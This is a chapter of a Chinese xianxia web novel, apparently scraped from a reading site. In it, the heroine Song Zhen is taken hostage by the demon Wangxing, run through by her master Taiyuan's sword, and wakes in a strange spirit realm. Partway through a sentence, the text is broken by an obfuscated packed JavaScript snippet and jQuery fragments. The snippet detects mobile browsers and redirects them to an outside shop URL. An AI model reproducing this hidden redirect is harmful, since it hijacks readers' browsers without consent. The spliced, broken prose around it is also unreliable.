16.第 16 章

作品:《被抢气运后,她当反派去了

    妄星说的“都来了”,是指那些人正在赶来的路上。


    正好冥狱秘境的开启还需要时间,宋臻索性留在了魔族地界,等着他们自己过来。


    反正这种大事,作为现在的“世界中心的女主角”,寒初肯定也会跟来的。


    “我睡着的两天里,你还真是做了不少事。”


    走过第三条空无一人的街道,宋臻无奈地呼了口气。


    难怪妄星要被封印呢,这才出来多久就已经把魔界的王都变成字面意义上的死城了。


    虽说魔族自己也不算什么好东西,做了不少恶事,但一码归一码,自己总归也脱不了干系。


    “希望清算的时候只劈妄星一个,毕竟我事也是先不知情的。”


    随便找了个方向,宋臻双手合与身前闭目祈祷起来。


    妄星:“……”


    清浊二气遍布世间,妄星能清楚“看”到,月仙门的大部队中,华骁与寒初也在里面。


    忽地,他想起一件事,“你好像从没提过要报复他们。”


    “啊?”宋臻眨巴眨巴眼睛,这才反应过来妄星说的“他们”是指谁。


    她当然要报复的。只是,在经过最开始的愤怒之后,逐渐冷静下来的宋臻一直在思考,自己该以何种立场,何种方式去报复他们——


    毫无疑问,在“借尸还魂”这件事上,原主绝对是有恩于自己的,为她报仇,天经地义。


    除去更多时间只是扮演着白羊角色的白姝,以及其他类似的角色,真正令宋臻头疼的,至始至终也就只有寒初与华骁。


    所以,要怎么报复呢?


    宋臻现在针对寒初的计划,说白了还是以天道发下的任务,“毁掉系统”为出发点的行动。并不能算做是“对伤害原主的复仇”。


    那就抢回华骁?


    对寒初来说,这样的确算是一种惩罚,可宋臻不想让华骁爽到,更不想通过“争抢一个男人”的方式,来给一个女性增加痛苦。


    这并不是出于什么“同性间的友爱”,只是单纯不想变得和从前那些霸凌她的雌竞太妹们一样愚蠢丑陋。


    那就杀了华骁?=这样既报复了华骁,也能让寒初痛失所爱。


    宋臻对此倒是没什么反对意见,哪怕她已经清楚,华骁对原主的背叛,罪魁祸首是那个会影响他人心智的系统。


    只是天道不允许。或者说,没法轻易允许。


    天道说,华骁是“宋臻”命定的伴侣,他们注定要在一起保护世界,拯救苍生。


    “注定,要在一起……”不提还好,一提,宋臻就觉得一个头两个大。


    修真界的速度比想得要快,宋臻还蹲在路边看着石子自言自语,远处几道凌厉的灵力便直直杀入了她的感知范围。


    其中一个,正是太渊。


    宋臻一个猛起,连妄星的名字都还未叫出口,就觉喉头一紧,整个人已经被妄星按着脖子,抵在了墙上。


    妄星的动作看似凶狠,实则很有分寸,宽大的手掌按在她的锁骨上,虽有压迫,但与其说是威胁,至少就宋臻而言,感觉更像是一种不可明说的调///情。


    她抬手默默向妄星竖起拇指,为两人间的默契点赞。可毕竟来自两个世界,他并不能理解这个动作的含义。


    于是,宋臻只能无声对他说道,“干得漂亮!”


    这头话刚说完,那头谒正好赶到。


    以太渊为首的几人皆风尘仆仆之样,宋臻还未来得及张口呼救,几人已然结阵,将妄星困在阵中。


    杀机四期,宋臻眨眨眼,将未说出口的话彻底咽下,毕竟这会要是真打起来,她还真就只能帮妄星了。


    虽然以妄星的实力,应该用不着她帮。


    “魔物,还不放了人质,束手就擒!”


    其中一人手执长伞,立于几人中央,对着妄星就是一套标准话术的输出。


    宋臻看了眼那人,又看了看妄星,发现妄星的视线,竟是一直停留在太渊身上。


    这还是宋臻第一次看到他们二人出现在同一场景。妄星一副“无所不知”的样子她早已习惯,但出乎意料的是,太渊似乎也认识妄星。


    并非是那种,因为上次秘境时,只打过一次照面的“见过”,而是更加久远的,像是有过什么过节后,还要强装陌生的微妙感。


    宋臻看看这个,又看看那个。因为周遭太暗,众人看不见她的神情,只当这个动作是害怕与恐惧。


    阵光大起,执伞之人再次警告。


    显然,他才是这个阵法的核心,或者说,是几人之中的领头人。


    “居然不是太渊诶。”


    宋臻垂头,遮住下半张脸悄,声和妄星聊了起来。


    “哼,他当然当不了领头的。”


    妄星的声音自识海中响起,语气中毫不遮掩的嘲弄。


    宋臻离得近,看清了他眼中的怒意与不屑,不由好奇道,“你俩有故事?”


    “当然有。”妄星说着,手中的动作一变,宋臻被他从这只手换到了那只手上,动作也由擒住脖子,变为了将她的双手禁锢于身后。


    “而且与你有关。”擦身而过的瞬间,妄星垂头在她耳边说道。


    “太渊,你觉得这次,自己还能抢走她吗?”


    妄星的声音不大,但足以让在场众人听个真切。


    他的语气懒散,平静到几乎几乎带着笑意,只是那笑,怎么听都像是阴阳怪气和冷嘲热讽。


    “她是我弟子,是我月仙们的人,本尊岂有不救之理。”太渊的回复很快。


    只是这番话,总让宋臻觉得,他有些答非所问。


    而且,妄星的问题也很奇怪,如果说“带走”,宋臻或许还能理解,可“抢”……?


    “呵。”妄星冷笑一声,“你知道我的意思。既然敢做,又何必顾左右而言他。”


    说完,只见妄星以掌化刃,朝着虚空轻轻一挥,那杀阵便轻而易举被他撕开。


    “不是,你先等一下!”宋臻见状,连忙阻止妄星,“这会不能打,你们打起来我就不好办了!!!”


    宋臻原本的计划,是把自己架在中间,即是钳制又是媒介,找个中间值,让太渊对妄星的存在睁一只眼闭一只眼,方便自己后面将他带进月仙们。


    可眼下看着太渊已经提剑冲来的样子,宋臻只觉得胸前只堵了一口淤血,想要把两个人都骂上一遍。


    韶乌的寒芒近在眼前,宋臻倒是不担心太渊会误伤自己,也不担心妄星会因此而吃亏。可令她没想到的是,妄星竟然长臂一拽,直接拉着她,往那长剑之上撞去!


    “——!”


    连最简短的两个字都没来得及


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929059|191721||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    说出口,锁骨处传来的疼痛便让宋臻直接失去了语言管理能力。


    宋臻痛得抽着气,连话都说不全,只能通过胡思乱想来消弭这份恐惧。


    比如,割伤和贯穿伤到底还是不一样啊!


    又比如,太渊你小子有人是真捅啊!


    再比如,将来献祭妄星之前高低也得先给他扎两个孔!


    宋臻听到太渊焦急的呼喊,妄星似乎也在说些什么。


    意识逐渐模糊,身体却开始发烫,显然,这是失血过多后出现的失温症。


    比起他俩的恩怨情仇,宋臻更想给他们一人一巴掌,然后大喊,“这次可能真要死了,救救救救救!”


    但是她已经失去了力气,就自己连究竟是倒在地上,还是倒在某个该死的男人怀里都分不清了。


    ——


    “好消息:我还有意识。坏消息:进死后世界了。”


    宋臻站在一片五光十色的空间之中,看着自己半透明的身体,终于开始放声大骂起妄星与太渊,“打架拿我当play的一环很好玩吗!!!两个死颠公!!!”


    连续骂了几句,让怨气大到自认为鬼看了她都要绕道走的宋臻逐渐冷静下来,她后知后觉,周围空无一物,可宋臻的怒吼却迟迟等不来回声。


    这片环境没有边界。或者说,至少远比她能想象得要大得多得多。


    南上北下东进西行,四面八方全都没有障碍。可换句话说,也就等于四面八方全都没有“出路”。


    于是,宋臻果断选了原地开摆,直接坐到了地上,“天道,您看我还有机会吗?”


    她仰着头,毫不在意天道究竟是否会听见,就这样自顾自地说了起来,“我可是把计划和你透过底的,虽然中间过程确实歪了……很多,但是解决我肯定是顺着你的呀。”


    “天道,你知道我的。”


    宋臻叭叭讲了一串,都口干舌燥了也没得到回应。


    不过,她现在也不需要回应了——


    她还有五感,就说明自己还没死透!还有救!


    而像是为了证明她的想法一般,宋臻从地上起身的短短几呼之间,周围那五彩斑斓的白,也终于有了变化!


    空气中出现了阵阵涟漪,映着一直被忽视的光,将整个“白”变得波光粼粼,让宋臻产生了一种自己置身湖底的错觉。


    她发现那些光做的涟漪都在顺着同一个方向流淌,清浅的波涛之中,是磅礴、且让她无比熟悉的清气。


    那些水浪推着她,拉着她,温柔、却又强硬地将她往某个方向带去。


    宋臻就这样跑啊跑,跑啊跑,也不知道跑了多久,终于在最前方,看到一个芝麻粒大小的人影。


    她本该为此而高兴才是。


    不管是谁,至少都说明了,自己并非一人。


    可偏偏,她的感受到的只有惊慌与抗拒。


    那拒绝之意非来自宋臻,而是源自于这些清气的潮流。


    可偏偏,她对此,感同身受。


    步伐不由加快,到最后,宋臻甚至忘记了掩藏自己的“仙”的身份,直接“跳跃”到那人身前。


    “停下!”宋臻伸手便要阻拦,可她的身体,却直接穿透了那人。


    而比起这一点,更让她惊讶的,是那人的身份。


    “太渊……?”